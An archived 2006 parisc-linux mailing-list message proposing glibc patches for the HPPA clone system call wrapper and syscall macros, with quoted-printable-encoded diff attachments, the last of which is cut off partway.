	by free.linux.hp.com (Postfix) with ESMTP id A3E667D6B3
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 02:09:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22318-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 02:09:56 -0600 (MDT)
Original-Received: from palinux.external.hp.com (palinux.external.hp.com
	[192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C99277D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 19 Apr 2006 02:09:56 -0600 (MDT)
Original-Received: by palinux.external.hp.com (Postfix)
	id 8BE1F4955E4; Wed, 19 Apr 2006 02:09:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by palinux.external.hp.com (Postfix) with ESMTP id 76289495577
	for <parisc-linux@parisc-linux.org>;
	Wed, 19 Apr 2006 02:09:55 -0600 (MDT)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k3J89fK10266; 
	Wed, 19 Apr 2006 10:09:42 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WsdwcI4iTiEtoqyUaGRwenF1ZUVSRBfn
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25287

--_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

> On 4/3/06, Joel Soete <soete.joel@tiscali.be> wrote:
> > as well the reference test clone04:
> >
> > # ./clone04 ; echo $?
> > clone04     1  PASS  :  expected failure; Got EINVAL
> > 0
> 
> What was the outcome of this whole thread?
> In summary what needs to be fixed?
> 
Over glibc cvs available at p-l.org this is the best I can do:
--- clone.S.orig2       2006-03-24 10:11:27.000000000 +0100
+++ clone.S.New6        2006-04-13 09:21:11.000000000 +0200
@@ -45,7 +45,29 @@
 
         .text
 ENTRY(__clone)
+    /* this ENTRY() macro do: stw rp, -20(sp)
+       and "FIXME: I have no idea how profiling works on hppa." */
 
+       /* Sanity check arguments.  */
+       comib,=3D         0, %arg0, .Larg_error           /* no NULL func=
tion
pointers */
+       nop                                             /* delay slot */
+       comib,<>,n      0, %arg1, .Lno_arg_error        /* no NULL stack
pointers */
+       nop                                             /* delay slot */
+
+.Larg_error:
+       /* Create a stack frame */
+       ldo             64(%sp), %sp
+       /* Set errno (in the delay slot) */
+       bl              __syscall_error, %rp
+       ldi             EINVAL, %arg0
+
+       /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
+       bv              %r0(%rp)
+       ldo             -64(%sp), %sp
+
+.Lno_arg_error:
        /* Save the fn ptr and arg on the new stack.  */
        stwm            %arg0, 64(%arg1)
        stw             %arg3, -60(%arg1)
@@ -63,41 +85,40 @@
        stwm            %r3, 64(%sp)
        stw             %r21, -4(%sp)
 
-       /* Save the PIC register. */
-#ifdef PIC
-       copy            %r19, %r3               /* parent */
-#endif
+       SAVE_PIC (TREG)
 
        /* Do the system call */
        ble             0x100(%sr2, %r0)
-       ldi             __NR_clone, %r20
+       ldi             SYS_ify (clone), %r20
 
-       ldi             -4096, %r1
-       comclr,>>=3D      %r1, %ret0, %r0         /* Note: unsigned compa=
re. */
+       ldi             NO_ERROR, %r1
+       comclr,>>=3D      %r1, %ret0, %r20        /* Note: unsigned compa=
re. */
        b,n             .Lerror
+       nop                     /* to avoid next br insn in the delay slo=
t? */
 
        comib,=3D,n       0, %ret0, thread_start
+       nop                     /* to avoid next br insn in the delay slo=
t? */
 
        /* Successful return from the parent
           No need to restore the PIC register, 
           since we return immediately. */
-
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
 
        /* Something bad happened -- no child created */
 .Lerror:
 
-       /* Restore the PIC register on error */
-#ifdef PIC
-       copy            %r3, %r19               /* parent */ 
-#endif
-       /* Set errno */
-       copy            %ret0, %r3
-       b               __syscall_error
+       LOAD_PIC (TREG)
+
+       /* Use TREG for temp storage */
+       copy            %ret0, TREG
+       /* Set errno (in the delay slot) */
+       bl              __syscall_error, %rp
        sub             %r0, %ret0, %arg0
-       copy            %r3, %ret0
+       copy            TREG, %ret0
        /* Return after setting errno */
+       /* Restore rp from ENTRY() */
+       ldw             -84(%sp), %rp
        bv              %r0(%rp)
        ldwm            -64(%sp), %r3
 
=3D=3D=3D=3D<>=3D=3D=3D=3D

I tried (but without success) to inline  __syscall_error().

Hth,
    Joel

PS: 
  1/ debian gcc-4.0 still lake of a jda patch
  2/ against latest debian libc6 src (2.3.6-7) I applied attached patches=
:
     tls-sysdeps-ng.diff; tst-clone.S.diff
--_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301
Content-Type: text/plain;
	name="=?iso-8859-1?Q?tls-sysdeps-ng.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment;
	filename="=?iso-8859-1?Q?tls-sysdeps-ng.diff?="

--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/sysdep.c.orig	2006-04-05 14:=
35:11.000000000 +0200=0A+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/sysd=
ep.c	2006-04-05 14:33:21.000000000 +0200=0A@@ -16,12 +16,12 @@=0A    Soft=
ware Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA=0A    02111=
-1307 USA.  */=0A =0A+#include <stdarg.h>=0A #include <sysdep.h>=0A #incl=
ude <errno.h>=0A =0A extern int __syscall_error(int err_no);=0A-extern in=
t syscall (int sysnum, int arg0, int arg1, int arg2,=0A-		    int arg3, i=
nt arg4, int arg5);=0A+extern long int syscall (long int __sysno, ...) __=
THROW;=0A =0A /* This routine is jumped to by all the syscall handlers, t=
o stash=0A    an error number into errno.  */=0A@@ -37,21 +37,34 @@=0A   =
 typically be in syscall.S. Also note that we have INLINE_SYSCALL,=0A    =
INTERNAL_SYSCALL, and all the generated pure assembly syscall wrappers.=0A=
    How often the function is used is unknown. */=0A-int=0A-syscall (int =
sysnum, int arg0, int arg1, int arg2, int arg3, int arg4,=0A-	 int arg5)=0A=
+=0A+long int =0A+syscall (long int __sysno, ...) =0A {=0A   /* FIXME: Ke=
ep this matching INLINE_SYSCALL for hppa */=0A+  va_list args;=0A+  long =
int arg0, arg1, arg2, arg3, arg4, arg5;=0A   long int __sys_res;=0A+=0A+ =
 /* Load varargs */=0A+  va_start (args, __sysno);=0A+  arg0 =3D va_arg (=
args, long int);=0A+  arg1 =3D va_arg (args, long int);=0A+  arg2 =3D va_=
arg (args, long int);=0A+  arg3 =3D va_arg (args, long int);=0A+  arg4 =3D=
 va_arg (args, long int);=0A+  arg5 =3D va_arg (args, long int);=0A+  va_=
end (args);=0A+  =0A   {=0A     register unsigned long int __res asm("r28=
");=0A     LOAD_ARGS_6 (arg0, arg1, arg2, arg3, arg4, arg5)=0A     asm vo=
latile (SAVE_ASM_PIC=0A-		  "	ble  0x100(%%sr2, %%r0)	\n"=0A-		  "	copy %=
1, %%r20		\n"=0A+		  "	ble		0x100(%%sr2, %%r0)	\n"=0A+		  "	copy		%1, %%r=
20		\n"=0A 		  LOAD_ASM_PIC=0A 		  : "=3Dr" (__res)=0A-		  : "r" (sysnum)=
 ASM_ARGS_6=0A+		  : "r" (__sysno) ASM_ARGS_6=0A 		  : "memory", CALL_CLO=
B_REGS CLOB_ARGS_6);=0A     __sys_res =3D __res;=0A   }=0A@@ -62,3 +75,4 =
@@=0A     }=0A   return __sys_res;=0A }=0A+=0A--- glibc-2.3.6/sysdeps/uni=
x/sysv/linux/hppa/sysdep.h.orig	2006-04-05 14:35:11.000000000 +0200=0A+++=
 glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/sysdep.h	2006-04-05 15:16:15.00=
0000000 +0200=0A@@ -22,7 +22,6 @@=0A #include <asm/unistd.h>=0A #include =
<sysdeps/generic/sysdep.h>=0A #include <sys/syscall.h>=0A-#include "confi=
g.h"=0A =0A #undef ASM_LINE_SEP=0A #define ASM_LINE_SEP ! =0A@@ -35,12 +3=
4,12 @@=0A    to another function */=0A #ifdef PIC=0A # define TREG %r3=0A=
-# define SAVE_PIC(SREG) copy %r19, SREG ASM_LINE_SEP=0A-# define LOAD_PI=
C(LREG) copy LREG, %r19 ASM_LINE_SEP=0A+# define SAVE_PIC(SREG) copy		%r1=
9, SREG	ASM_LINE_SEP=0A+# define LOAD_PIC(LREG) copy		LREG, %r19	ASM_LINE=
_SEP=0A /* Inline assembly defines */=0A # define TREG_ASM "%r4" /* Cant =
clobber r3, it holds framemarker */=0A-# define SAVE_ASM_PIC	"       copy=
 %%r19, %" TREG_ASM "\n"=0A-# define LOAD_ASM_PIC	"       copy %" TREG_AS=
M ", %%r19\n"=0A+# define SAVE_ASM_PIC	"       copy		%%r19, %" TREG_ASM "=
\n"=0A+# define LOAD_ASM_PIC	"       copy		%" TREG_ASM ", %%r19\n"=0A # d=
efine USING_TREG	TREG_ASM,=0A #else=0A # define TREG %r3=0A@@ -97,8 +96,8=
 @@=0A #define DOARGS_2 /* nothing */=0A #define DOARGS_3 /* nothing */=0A=
 #define DOARGS_4 /* nothing */=0A-#define DOARGS_5 ldw -52(%sp), %r22		A=
SM_LINE_SEP=0A-#define DOARGS_6 DOARGS_5 ldw -56(%sp), %r21	ASM_LINE_SEP=0A=
+#define DOARGS_5 ldw		-52(%sp), %r22		ASM_LINE_SEP=0A+#define DOARGS_6 D=
OARGS_5 ldw		-56(%sp), %r21	ASM_LINE_SEP=0A =0A #define UNDOARGS_0 /* not=
hing */=0A #define UNDOARGS_1 /* nothing */=0A@@ -123,14 +122,14 @@=0A 	.=
CALLINFO FRAME=3D64,CALLS,SAVE_RP,ENTRY_GR=3D3	ASM_LINE_SEP	\=0A 	.ENTRY	=
					ASM_LINE_SEP	\=0A 	/* SAVE_RP says we do */			ASM_LINE_SEP	\=0A-	stw=
 %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\=0A+	stw		%rp, -20(%sr0, %sp)		ASM_L=
INE_SEP	\=0A 	/*FIXME: Call mcount? (carefull with stack!) */=0A =0A /* S=
ome syscall wrappers do not call other functions, and=0A    hence are cla=
ssified as leaf, so add NO_CALLS for gdb */=0A #define	ENTRY_LEAF(name)		=
				\=0A 	.text						ASM_LINE_SEP	\=0A-	.align ALIGNARG(4)				ASM_LINE_SE=
P	\=0A+	.align	ALIGNARG(4)				ASM_LINE_SEP	\=0A 	.export C_SYMBOL_NAME(na=
me)			ASM_LINE_SEP	\=0A 	.type	C_SYMBOL_NAME(name),@function		ASM_LINE_SE=
P	\=0A 	C_LABEL(name)					ASM_LINE_SEP	\=0A@@ -138,12 +137,12 @@=0A 	.CAL=
LINFO FRAME=3D64,NO_CALLS,SAVE_RP,ENTRY_GR=3D3	ASM_LINE_SEP	\=0A 	.ENTRY	=
					ASM_LINE_SEP	\=0A 	/* SAVE_RP says we do */			ASM_LINE_SEP	\=0A-	stw=
 %rp, -20(%sr0,%sp)				ASM_LINE_SEP	\=0A+	stw		%rp, -20(%sr0, %sp)		ASM_L=
INE_SEP	\=0A 	/*FIXME: Call mcount? (carefull with stack!) */=0A =0A #und=
ef	END=0A #define END(name)							\=0A-  	.EXIT						ASM_LINE_SEP	\=0A+ 	=
.EXIT						ASM_LINE_SEP	\=0A 	.PROCEND					ASM_LINE_SEP	\=0A .size	C_SYMB=
OL_NAME(name), .-C_SYMBOL_NAME(name)	ASM_LINE_SEP=0A =0A@@ -166,50 +165,5=
0 @@=0A 	nop=0A */=0A =0A-#define	PSEUDO(name, syscall_name, args)			\=0A=
-  ENTRY (name)					ASM_LINE_SEP	\=0A-  /* If necc. load args from stack =
*/		ASM_LINE_SEP	\=0A-  DOARGS_##args					ASM_LINE_SEP	\=0A-  DO_CALL (sy=
scall_name, args)			ASM_LINE_SEP	\=0A-  UNDOARGS_##args				ASM_LINE_SEP	\=
=0A-  nop						ASM_LINE_SEP=0A+#define	PSEUDO(name, syscall_name, args)		=
		\=0A+	ENTRY (name)					ASM_LINE_SEP	\=0A+	/* If necc. load args from st=
ack */		ASM_LINE_SEP	\=0A+	DOARGS_##args					ASM_LINE_SEP	\=0A+	DO_CALL (=
syscall_name, args)			ASM_LINE_SEP	\=0A+	UNDOARGS_##args					ASM_LINE_SEP=
	\=0A+	nop						ASM_LINE_SEP=0A =0A #define ret \=0A-  /* Return value se=
t by ERRNO code */		ASM_LINE_SEP	\=0A-  bv,n 0(2)					ASM_LINE_SEP=0A+	/*=
 Return value set by ERRNO code */	ASM_LINE_SEP	\=0A+	bv,n		0(2)				ASM_L=
INE_SEP=0A =0A #undef	PSEUDO_END=0A-#define	PSEUDO_END(name)					\=0A-  E=
ND (name)=0A+#define	PSEUDO_END(name)						\=0A+	END (name)=0A =0A /* We =
don't set the errno on the return from the syscall */=0A-#define	PSEUDO_N=
OERRNO(name, syscall_name, args)		\=0A-  ENTRY_LEAF (name)				ASM_LINE_SE=
P	\=0A-  DOARGS_##args					ASM_LINE_SEP	\=0A-  DO_CALL_NOERRNO (syscall_n=
ame, args)		ASM_LINE_SEP	\=0A-  UNDOARGS_##args				ASM_LINE_SEP	\=0A-  no=
p						ASM_LINE_SEP=0A+#define	PSEUDO_NOERRNO(name, syscall_name, args)		=
	\=0A+	ENTRY_LEAF (name)				ASM_LINE_SEP	\=0A+	DOARGS_##args					ASM_LINE=
_SEP	\=0A+	DO_CALL_NOERRNO (syscall_name, args)		ASM_LINE_SEP	\=0A+	UNDOA=
RGS_##args					ASM_LINE_SEP	\=0A+	nop						ASM_LINE_SEP=0A =0A-#define re=
t_NOERRNO ret=0A+#define ret_NOERRNO	ret=0A =0A #undef	PSEUDO_END_NOERRNO=
=0A-#define	PSEUDO_END_NOERRNO(name)				\=0A-  END (name)=0A+#define	PSEU=
DO_END_NOERRNO(name)					\=0A+	END (name)=0A =0A /* This has to return th=
e error value */=0A #undef  PSEUDO_ERRVAL=0A-#define PSEUDO_ERRVAL(name, =
syscall_name, args)			\=0A-  ENTRY_LEAF (name)				ASM_LINE_SEP	\=0A-  DOA=
RGS_##args					ASM_LINE_SEP	\=0A-  DO_CALL_ERRVAL (syscall_name, args)		A=
SM_LINE_SEP	\=0A-  UNDOARGS_##args				ASM_LINE_SEP	\=0A-  nop						ASM_LI=
NE_SEP=0A+#define PSEUDO_ERRVAL(name, syscall_name, args)				\=0A+	ENTRY_=
LEAF (name)				ASM_LINE_SEP	\=0A+	DOARGS_##args					ASM_LINE_SEP	\=0A+	DO=
_CALL_ERRVAL (syscall_name, args)		ASM_LINE_SEP	\=0A+	UNDOARGS_##args				=
	ASM_LINE_SEP	\=0A+	nop						ASM_LINE_SEP=0A =0A #define ret_ERRVAL ret=0A=
 =0A #undef	PSEUDO_END_ERRVAL=0A-#define PSEUDO_END_ERRVAL(name)					\=0A=
-	END(name)=0A+#define PSEUDO_END_ERRVAL(name)						\=0A+	END (name)=0A =0A=
 #undef JUMPTARGET=0A #define JUMPTARGET(name)	name=0A@@ -222,10 +221,10 =
@@=0A =0A /* int * __errno_location(void) so you have to store your value=
=0A    into the return address! */=0A-#define DEFAULT_SYSCALL_ERROR_HANDL=
ER 			\=0A-	.import __errno_location,code	ASM_LINE_SEP	\=0A-	/* branch to=
 errno handler */	ASM_LINE_SEP	\=0A-	bl __errno_location,%rp		ASM_LINE_SE=
P=0A+#define DEFAULT_SYSCALL_ERROR_HANDLER 					\=0A+	.import __errno_loc=
ation,code			ASM_LINE_SEP	\=0A+	/* branch to errno handler */			ASM_LINE_=
SEP	\=0A+	bl		__errno_location, %rp		ASM_LINE_SEP=0A =0A /* Here are the =
myriad of configuration options that the above can=0A    work for... what=
 we've done is provide the framework for future=0A@@ -249,7 +248,6 @@=0A =
# endif=0A #endif=0A =0A-=0A /* Linux takes system call arguments in regi=
sters:=0A 	syscall number	gr20=0A 	arg 1		gr26=0A@@ -278,61 +276,60 @@=0A=
 #define NO_ERROR -0x1000=0A =0A #undef	DO_CALL=0A-#define DO_CALL(syscal=
l_name, args)				\=0A-  	copy TREG,%r1				ASM_LINE_SEP	\=0A-	copy %sp,TRE=
G				ASM_LINE_SEP	\=0A-	/* Create a frame */			ASM_LINE_SEP	\=0A-	stwm %r=
1, 64(%sp)			ASM_LINE_SEP	\=0A-	stw %rp, -20(%sp)			ASM_LINE_SEP	\=0A-	st=
w TREG, -4(%sp)			ASM_LINE_SEP	\=0A-	/* Save r19 */				ASM_LINE_SEP	\=0A-=
	SAVE_PIC(TREG)				ASM_LINE_SEP	\=0A-	/* Do syscall, delay loads # */		AS=
M_LINE_SEP	\=0A-	ble  0x100(%sr2,%r0)			ASM_LINE_SEP	\=0A-	ldi SYS_ify (s=
yscall_name), %r20	ASM_LINE_SEP	\=0A-	ldi NO_ERROR,%r1			ASM_LINE_SEP	\=0A=
-	cmpb,>>=3D,n %r1,%ret0,L(pre_end)		ASM_LINE_SEP	\=0A-	/* Restore r19 fr=
om TREG */		ASM_LINE_SEP	\=0A-	LOAD_PIC(TREG) /* delay */		ASM_LINE_SEP	\=
=0A-	SYSCALL_ERROR_HANDLER			ASM_LINE_SEP	\=0A-	/* Use TREG for temp stor=
age */		ASM_LINE_SEP	\=0A-	copy %ret0, TREG /* delay */		ASM_LINE_SEP	\=0A=
-	/* OPTIMIZE: Don't reload r19 */	ASM_LINE_SEP	\=0A-	/* do a -1*syscall_=
ret0 */		ASM_LINE_SEP	\=0A-	sub %r0, TREG, TREG			ASM_LINE_SEP	\=0A-	/* S=
tore into errno location */		ASM_LINE_SEP	\=0A-	stw TREG, 0(%sr0,%ret0)		=
	ASM_LINE_SEP	\=0A-	/* return -1 as error */		ASM_LINE_SEP	\=0A-	ldo -1(%=
r0), %ret0			ASM_LINE_SEP	\=0A-L(pre_end):					ASM_LINE_SEP	\=0A-	/* Rest=
ore return pointer */		ASM_LINE_SEP	\=0A-	ldw -84(%sp),%rp			ASM_LINE_SEP=
	\=0A-	/* Restore our frame, restoring TREG */	ASM_LINE_SEP	\=0A-	ldwm -6=
4(%sp), TREG			ASM_LINE_SEP=0A+#define DO_CALL(syscall_name, args)					\=0A=
+  	copy		TREG, %r1			ASM_LINE_SEP	\=0A+	copy		%sp, TREG			ASM_LINE_SEP	\=
=0A+	/* Create a frame */				ASM_LINE_SEP	\=0A+	stwm		%r1, 64(%sp)			ASM_=
LINE_SEP	\=0A+	stw		%rp, -20(%sp)			ASM_LINE_SEP	\=0A+	stw		TREG, -4(%sp)=
			ASM_LINE_SEP	\=0A+	/* Save r19 */					ASM_LINE_SEP	\=0A+	SAVE_PIC (TRE=
G)					ASM_LINE_SEP	\=0A+	/* Do syscall, delay loads # */			ASM_LINE_SEP	=
\=0A+	ble		0x100(%sr2, %r0)		ASM_LINE_SEP	\=0A+	ldi		SYS_ify (syscall_nam=
e), %r20	ASM_LINE_SEP	\=0A+	ldi		NO_ERROR, %r1			ASM_LINE_SEP	\=0A+	cmpb,=
>>=3D,n	%r1, %ret0,L(pre_end)		ASM_LINE_SEP	\=0A+	/* Restore r19 from TRE=
G */			ASM_LINE_SEP	\=0A+	LOAD_PIC(TREG)			/* delay */	ASM_LINE_SEP	\=0A+=
	SYSCALL_ERROR_HANDLER				ASM_LINE_SEP	\=0A+	/* Use TREG for temp storage=
 */			ASM_LINE_SEP	\=0A+	copy		%ret0, TREG	/* delay */	ASM_LINE_SEP	\=0A+=
	/* OPTIMIZE: Don't reload r19 */		ASM_LINE_SEP	\=0A+	/* do a -1*syscall_=
ret0 */			ASM_LINE_SEP	\=0A+	sub		%r0, TREG, TREG			ASM_LINE_SEP	\=0A+	/*=
 Store into errno location */			ASM_LINE_SEP	\=0A+	stw		TREG, 0(%sr0, %re=
t0)		ASM_LINE_SEP	\=0A+	/* return -1 as error */			ASM_LINE_SEP	\=0A+	ldo=
		-1(%r0), %ret0			ASM_LINE_SEP	\=0A+L(pre_end):						ASM_LINE_SEP	\=0A+	=
/* Restore return pointer */			ASM_LINE_SEP	\=0A+	ldw		-84(%sp), %rp			AS=
M_LINE_SEP	\=0A+	/* Restore our frame, restoring TREG */		ASM_LINE_SEP	\=0A=
+	ldwm		-64(%sp), TREG			ASM_LINE_SEP=0A =0A /* We do nothing with the re=
turn, except hand it back to someone else */=0A #undef  DO_CALL_NOERRNO=0A=
-#define DO_CALL_NOERRNO(syscall_name, args)			\=0A-	/* No need to store =
r19 */		ASM_LINE_SEP	\=0A-	ble  0x100(%sr2,%r0)                    ASM_LI=
NE_SEP    \=0A-	ldi SYS_ify (syscall_name), %r20        ASM_LINE_SEP    \=
=0A-	/* Caller will restore r19 */		ASM_LINE_SEP=0A+#define DO_CALL_NOERR=
NO(syscall_name, args)				\=0A+	/* No need to store r19 */			ASM_LINE_SEP=
	\=0A+	ble		0x100(%sr2, %r0)		ASM_LINE_SEP    \=0A+	ldi		SYS_ify (syscall=
_name), %r20	ASM_LINE_SEP    \=0A+	/* Caller will restore r19 */			ASM_LI=
NE_SEP=0A =0A /* Here, we return the ERRVAL in assembly, note we don't ca=
ll the=0A    error handler function, but we do 'negate' the return _IF_=0A=
    it's an error. Not sure if this is the right semantic. */=0A =0A #und=
ef	DO_CALL_ERRVAL=0A-#define DO_CALL_ERRVAL(syscall_name, args)			\=0A-	/=
* No need to store r19 */		ASM_LINE_SEP	\=0A-	ble  0x100(%sr2,%r0)			ASM_=
LINE_SEP	\=0A-	ldi SYS_ify (syscall_name), %r20	ASM_LINE_SEP	\=0A-	/* Cal=
ler will restore r19 */		ASM_LINE_SEP	\=0A-	ldi NO_ERROR,%r1			ASM_LINE_S=
EP	\=0A-	cmpb,>>=3D,n %r1,%ret0,0f			ASM_LINE_SEP	\=0A-	sub %r0, %ret0, %=
ret0			ASM_LINE_SEP	\=0A-0:						ASM_LINE_SEP=0A-=0A+#define DO_CALL_ERRV=
AL(syscall_name, args)				\=0A+	/* No need to store r19 */			ASM_LINE_SEP=
	\=0A+	ble		0x100(%sr2, %r0)		ASM_LINE_SEP	\=0A+	ldi		SYS_ify (syscall_na=
me), %r20	ASM_LINE_SEP	\=0A+	/* Caller will restore r19 */			ASM_LINE_SEP=
	\=0A+	ldi		NO_ERROR, %r1			ASM_LINE_SEP	\=0A+	cmpb,>>=3D,n	%r1, %ret0, 0=
f			ASM_LINE_SEP	\=0A+	sub		%r0, %ret0, %ret0		ASM_LINE_SEP	\=0A+0:						=
	ASM_LINE_SEP=0A =0A #else=0A =0A@@ -360,8 +357,8 @@=0A 		/* FIXME: HACK =
save/load r19 around syscall */		\=0A 		asm volatile(						\=0A 			SAVE_A=
SM_PIC					\=0A-			"	ble  0x100(%%sr2, %%r0)\n"		\=0A-			"	ldi %1, %%r20\=
n"			\=0A+			"	ble		0x100(%%sr2, %%r0)\n"	\=0A+			"	ldi		%1, %%r20\n"		\=0A=
 			LOAD_ASM_PIC					\=0A 			: "=3Dr" (__res)					\=0A 			: "i" (SYS_ify(=
name)) ASM_ARGS_##nr		\=0A@@ -385,7 +382,7 @@=0A    In our case we just f=
lip the sign. */=0A =0A #undef INTERNAL_SYSCALL_DECL=0A-#define INTERNAL_=
SYSCALL_DECL(err) do { } while (0)=0A+#define INTERNAL_SYSCALL_DECL(err) =
=0A =0A /* Equivalent to  (val < 0)&&(val > -4095) which is what we want =
*/=0A #undef INTERNAL_SYSCALL_ERROR_P=0A@@ -406,8 +403,8 @@=0A 		/* FIXME=
: HACK save/load r19 around syscall */		\=0A 		asm volatile(						\=0A 		=
	SAVE_ASM_PIC					\=0A-			"	ble  0x100(%%sr2, %%r0)\n"		\=0A-			"	ldi %1,=
 %%r20\n"			\=0A+			"	ble	0x100(%%sr2, %%r0)\n"		\=0A+			"	ldi	%1, %%r20\=
n"			\=0A 			LOAD_ASM_PIC					\=0A 			: "=3Dr" (__res)					\=0A 			: "i" =
(SYS_ify(name)) ASM_ARGS_##nr		\=0A@@ -418,25 +415,49 @@=0A 	__sys_res;		=
					\=0A  })=0A =0A+=0A+/* The _NCS variant allows non-constant syscall =
numbers.  */=0A+#undef INTERNAL_SYSCALL_NCS=0A+#define INTERNAL_SYSCALL_N=
CS(name, err, nr, args...) 			\=0A+({									\=0A+	long __sys_res;						=
	\=0A+	{								\=0A+		register unsigned long __res asm("r28");		\=0A+		L=
OAD_ARGS_##nr(args)					\=0A+		/* FIXME: HACK save/load r19 around syscal=
l */		\=0A+		asm volatile(						\=0A+			SAVE_ASM_PIC					\=0A+			"	ble	0x=
100(%%sr2, %%r0)\n"		\=0A+			"	copy	%1, %%r20\n"			\=0A+			LOAD_ASM_PIC		=
			\=0A+			: "=3Dr" (__res)					\=0A+			: "r" (name) ASM_ARGS_##nr			\=0A=
+			: "memory", CALL_CLOB_REGS CLOB_ARGS_##nr	\=0A+		);							\=0A+		__sy=
s_res =3D (long)__res;				\=0A+	}								\=0A+	__sys_res;							\=0A+ })=0A=
+=0A #define LOAD_ARGS_0()=0A #define LOAD_ARGS_1(r26)						\=0A-  regist=
er unsigned long __r26 __asm__("r26") =3D (unsigned long)(r26);	\=0A-  LO=
AD_ARGS_0()=0A+	register unsigned long __r26 __asm__("r26") =3D (unsigned=
 long)(r26); \=0A+	LOAD_ARGS_0()=0A #define LOAD_ARGS_2(r26,r25)						\=0A=
-  register unsigned long __r25 __asm__("r25") =3D (unsigned long)(r25);	=
\=0A-  LOAD_ARGS_1(r26)=0A+	register unsigned long __r25 __asm__("r25") =3D=
 (unsigned long)(r25); \=0A+	LOAD_ARGS_1(r26)=0A #define LOAD_ARGS_3(r26,=
r25,r24)					\=0A-  register unsigned long __r24 __asm__("r24") =3D (unsi=
gned long)(r24);	\=0A-  LOAD_ARGS_2(r26,r25)=0A+	register unsigned long _=
_r24 __asm__("r24") =3D (unsigned long)(r24); \=0A+	LOAD_ARGS_2(r26,r25)=0A=
 #define LOAD_ARGS_4(r26,r25,r24,r23)					\=0A-  register unsigned long _=
_r23 __asm__("r23") =3D (unsigned long)(r23);	\=0A-  LOAD_ARGS_3(r26,r25,=
r24)=0A+	register unsigned long __r23 __asm__("r23") =3D (unsigned long)(=
r23); \=0A+	LOAD_ARGS_3(r26,r25,r24)=0A #define LOAD_ARGS_5(r26,r25,r24,r=
23,r22)				\=0A-  register unsigned long __r22 __asm__("r22") =3D (unsign=
ed long)(r22);	\=0A-  LOAD_ARGS_4(r26,r25,r24,r23)=0A-#define LOAD_ARGS_6=
(r26,r25,r24,r23,r22,r21)				\=0A-  register unsigned long __r21 __asm__(=
"r21") =3D (unsigned long)(r21);	\=0A-  LOAD_ARGS_5(r26,r25,r24,r23,r22)=0A=
+	register unsigned long __r22 __asm__("r22") =3D (unsigned long)(r22); \=
=0A+	LOAD_ARGS_4(r26,r25,r24,r23)=0A+#define LOAD_ARGS_6(r26,r25,r24,r23,=
r22,r21)				 \=0A+	register unsigned long __r21 __asm__("r21") =3D (unsig=
ned long)(r21); \=0A+	LOAD_ARGS_5(r26,r25,r24,r23,r22)=0A =0A /* Even wit=
h zero args we use r20 for the syscall number */=0A #define ASM_ARGS_0=0A=

--_=__=_XaM3_.1145434181.2A.846775.42.7669.52.42.007.991917301
Content-Type: text/plain;
	name="=?iso-8859-1?Q?tst-clone.S.diff?="
Content-Transfer-Encoding: quoted-printable
Content-Disposition: attachment; filename="=?iso-8859-1?Q?tst-clone.S.diff?="

--- glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone.S.orig	2006-04-15 15:1=
1:23.000000000 +0200=0A+++ glibc-2.3.6/sysdeps/unix/sysv/linux/hppa/clone=
.S	2006-04-15 15:13:02.000000000 +0200=0A@@ -26,74 +26,121 @@=0A #define =
_ERRNO_H	1=0A #include <bits/errno.h>=0A =0A-/* int clone(int (*fn)(void =
*arg), void *child_stack, int flags, void *arg) */=0A+/* Non-thread code =
calls __clone with the following parameters:=0A+   int clone(int (*fn)(vo=
id *arg), void *child_stack, int flags, void *arg)=0A+   =0A+   NPTL Code=
 will call __clone with the following parameters:=0A+   int clone(int (*f=
n)(void *arg), void *child_stack, int flags, void *arg,=0A+	     int *par=
ent_tidptr, struct user_desc *newtls, int *child_pidptr)=0A+	=0A+   The c=
ode should not mangle the extra input registers.=0A+   Syscall expects:		=
		Input to __clone:=0A+	r26 - clone flags.			(arg2)=0A+	r25 - user stack =
